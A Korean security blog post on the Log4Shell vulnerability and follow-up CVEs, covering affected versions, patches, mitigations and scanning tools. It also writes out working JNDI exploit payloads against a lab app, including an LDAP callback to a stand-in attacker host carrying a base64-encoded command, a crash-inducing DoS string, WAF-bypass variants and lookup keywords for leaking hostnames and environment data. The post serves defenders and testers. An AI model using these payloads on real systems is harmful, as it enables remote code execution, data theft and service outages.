네 바로 어제(2021-12-10) Java의 logging package인 log4j2 에서 RCE 0-day 취약점이 공개되었습니다. Service, Application에 로그를 쌓을수만 있다면 어떤 환경에서도 공격 가능성이 존재하고, 리스크가 RCE인 만큼 정말 전 세계가 불타오르고 있네요. (하하 DM도 터져나갑니다. 안볼거에요……)
일이 우선이니 어제는 대응에 집중하고, 하루 늦은 오늘 글로 공유하려고 합니다.
이후에도 추가건인 CVE-2021-45046과 CVE-2021-45105로 대응해야 할 것들이 더 있어서 최초 공개인 금요일부터 그 다음주까진 정신없이 보냈던 것 같습니다. 아무튼 모든 Security engineer와 Developer, DevOps 등 이 사건으로 고생하신 모든 분들께 경의를 표합니다 👏🏼
What is Log4shell?
Log4shell은 log4j2의 취약점인 CVE-2021-44228의 별칭으로 java에서 많이 사용되는 logger인 log4j에서 발생하는 RCE 취약점을 의미합니다.
해당 취약점에 관련된 재미있는 내용 하나는 CVE-2021-44228이 처음에 LogJam이란 이름을 붙였다가 Log4shell로 변경했다고 합니다. 왜냐면 LogJam은 예전부터 있었던 SSL 관련 이슈니깐요!
Affected and Fixed
영향받는 버전과 대응방안/완화방안은 아래와 같습니다.
CVE | CVE-2021-44228 (Log4Shell) + CVE-2021-45046 + CVE-2021-45105 |
---|---|
영향받는 버전 | log4j 2.0 - 2.16.0 |
패치 버전 | Java8 이상: log4j 2.17 |
Java7: log4j 2.12.3 | |
Java6: log4j 2.3.1 | |
완화 방법 | 2.10 이상: log4j2.formatMsgNoLookups=true |
2.10 미만: JndiLookup Class를 classpath에서 제거 |
2.16.0에서 추가 취약점인 CVE-2021-45105의 공개와 패치로 내용 수정해두었습니다.
일단은 패치가 있어서 다행이지 그래도 공격이 쉽고 우회 패턴도 있을거고, 취약 앱이 너무 광범위하게 사용되서 red team과 blue team 모두 긴밀하게 협업해서 대응이 필요할 것 같네요.
Real problem - Dependencies
진짜 문제는.. Dependencies입니다. 특히나 docker, k8s 등 이미지 기반의 서비스를 많이 사용할텐데 이를 모두 식별하고 대응하기는 정말 어렵습니다. 일단 지속적으로 추적하고, 업데이트 시키는게 최선일 것 같네요. 연결된 소프트웨어에 대한 정보는 아래 repository를 참고해주세요!
- https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
아 물론 지속적으로 보안 테스팅도 필요할 것 같습니다 😫 다행히 Burpsuite의 Active++에는 이미 적용되었고 Nuclei 템플릿 등 테스트를 위한 도구들이 금방 추가될거라 자동화만 잘 해두면 무리없을 것 같네요.
Links
참고용
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q (apache)
- https://github.com/advisories/GHSA-xxfh-x98p-j8fr (pax-logging)
- https://github.com/apache/logging-log4j2/pull/607/files
- https://issues.apache.org/jira/browse/LOG4J2-2109
- https://issues.apache.org/jira/browse/LOG4J2-3198
History
[2021-12-14] CVE-2021-45046
Log4shell의 패치인 2.15.0에서 CVE-2021-45046 취약점이 공개되었습니다. 이로 인해서 2.16.0 으로 업데이트가 필요합니다.
- https://nvd.nist.gov/vuln/detail/CVE-2021-45046
- https://logging.apache.org/log4j/2.x/security.html
CVE-2021-45046는 로깅 구성에서 기본 로깅이 아닌 컨텍스트 조회(e.g ${ctx:loginId}
) 또는 스레드 컨텍스트 맵 패턴(%X
, %MDC
또는 %MDC
)이 포함된 패턴 레이아웃을 사용하는 경우 입력 데이터를 제어하는 공격자가 JNDI 패턴을 사용하여 공격에 성공할 수 있습니다.
이로인해 2.15.0에서는 DOS의 영향력이, 2.14.1 이하에서 NO_LOOKUPS를 설정한 경우 RCE가 가능합니다.
[2021-12-18] CVE-2021-45105
CVE-2021-45046 패치를 위한 2.16.0에서 CVE-2021-45105 이슈가 추가로 공개되어 2.17.0 이상으로 업데이트가 필요합니다.
2.16 버전 아래 버전(2.12.3 제외)에서 이 패턴으로 crash가 가능하여 DOS를 유발할 수 있습니다.
${${::-${::-$${::-j}}}}
e.g
curl -i -k https://target -H "X-Api-Version: ${${::-${::-$${::-$}}}}"
위 요청 시 StackOverflow 에러가 발생하여 프로세스가 종료될 수 있음
- https://nvd.nist.gov/vuln/detail/CVE-2021-45105
- https://issues.apache.org/jira/browse/LOG4J2-3230
[2021-12-27] CVE-2021-44832 (RCE)
Log4j 2.17.0, 2.12.3, 2.3.1 이하 버전에서 특정 조건이 맞는 경우 RCE가 가능한 이슈입니다. CVE-2021-44228과 직접적인 연관이 있는건 아니지만, JNDIExploit을 통해 유사하게 공격할 수 있다는점, 그리고 기존 버전에서 추가 패치가 필요한걸 고려해서 Log4shell쪽 이력에도 추가했습니다. 자세한 내용은 아래 글을 참고해주세요!
https://www.hahwul.com/2021/12/29/log4-2.17-jdbcappender-rce/
Testing
Set vuln app
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
Detect
Payload 패턴
curl {TARGET} -H 'X-Api-Version: ${jndi:ldap://attacker_domain}'
테스트
curl -i -k http://localhost:8080 -H 'X-Api-Version: ${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}'
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Sat, 11 Dec 2021 14:50:50 GMT
Hello, world!%
Server log
INFO 1 — [nio-8080-exec-3] HelloWorld: Received a request for API version ${jndi:ldap://nrqzbmk2pt23zu6vkegfxks7em.odiss.eu}
Callbacks
Exploit
${jndi:ldap://attacker_domain}
구문으로 인해 log4j가 JNDI(Java Naming and Directory Interface)를 통해 공격자 도메인으로 요청을 전송하게 되고 여기서 공격자가 JNDIExploit을 미리 준비해두었다면 결과적으로 code execution이 가능합니다.
curl -i -k localhost:8080 -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK}'
dG91Y2ggL3RtcC9oYWh3dWwK
는 base64로 인코딩된 touch /tmp/hahwul
명령이며 공격이 성공하면 /tmp/hahwul
파일이 생성됩니다.
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK
[+] Paylaod: command
[+] Command: touch /tmp/hahwul
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9oYWh3dWwK redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.0.24:49121 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
# 2b059fb3ef2d > ls /tmp/hahwul
/tmp/hahwul
다만 실제로 테스트하실 땐 직접 구축한 DNS를 사용해서 테스트하시는 것을 추천드려요. (Burpsuite collaborator, ZAP OAST 등 외부 서버에 접근 이력이 남기 때문에 혹시라도 악용될 여지가 있으니..)
Attack Surface
자료를 찾다보니 재미있는 github을 하나 발견했했습니다. Attack Surface에 대한 내용인데 가볍게 한번 봐주시면 될 것 같습니다 :D
https://github.com/YfryTchsGD/Log4jAttackSurface
For OWASP ZAP Users
log4shell이 웹 서비스에만 영향이 있을 것 같지만 log4j2를 사용하는 모든 Application에 영향을 줄 수 있습니다. 그래서 일단 사용자 application이지만 log4j2를 사용하는 OWASP ZAP도 영향 범위에 들어왔고, API를 키 없이 노출하거나 일부 스캔 시 데이터 등으로 인해 RCE가 가능할 수 있어서 보안 테스팅용이던, DevSecOps 용이던 대응하는게 좋을 것 같네요!
크게 방법은 2가지가 있습니다.
Update 2.11.1
Fixed version인 2.11.1이 릴리즈되었습니다. 업데이트 후 사용해주시면 될 것 같아요.
Disable logger
.ZAP/log4j2.properties
에서 Logger를 disable 시켜서도 대응이 가능합니다. 다만 완화 정도로 봐야하니 가급적이면 업데이트가 좋을 것 같습니다.
rootLogger.level = off
logger.paros.level = off
logger.zap.level = off
Bypass WAF
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Keywords
아래 keywords는 log4shell을 통해 추가적인 정보를 얻거나 우회를 위해 사용하는 keyword입니다.
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
from https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
위를 적용한 케이스를 하나 예시로 들어보면 아래와 같이 ${hostName}
구문이 포함된 요청이 전송되면 해당 부분은 실제로 시스템의 hostName이 반영되어 처리됩니다.
GET /?test=${jndi:ldap://${hostName}.hahwul.com} HTTP/1.1
Host: vulnapp.hahwul.com
즉 위 요청으로 인한 jndi 쿼리는 vullnapp.hahwul.com.hahwul.com 으로 전송됩니다.
Tools
- Remote/Active++ in Burpsuite Extension
- Remote/Nuclei-template
- Remote/ActiveScan in ZAP
- Remote/Metasploit module
- Local/Logpresso’s CVE-2021-44228-Scanner
- Local/Log4JShell-Bytecode-Detector
References
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/YfryTchsGD/Log4jAttackSurface
- https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2
- https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
- https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
- https://www.hahwul.com/2021/12/29/log4-2.17-jdbcappender-rce/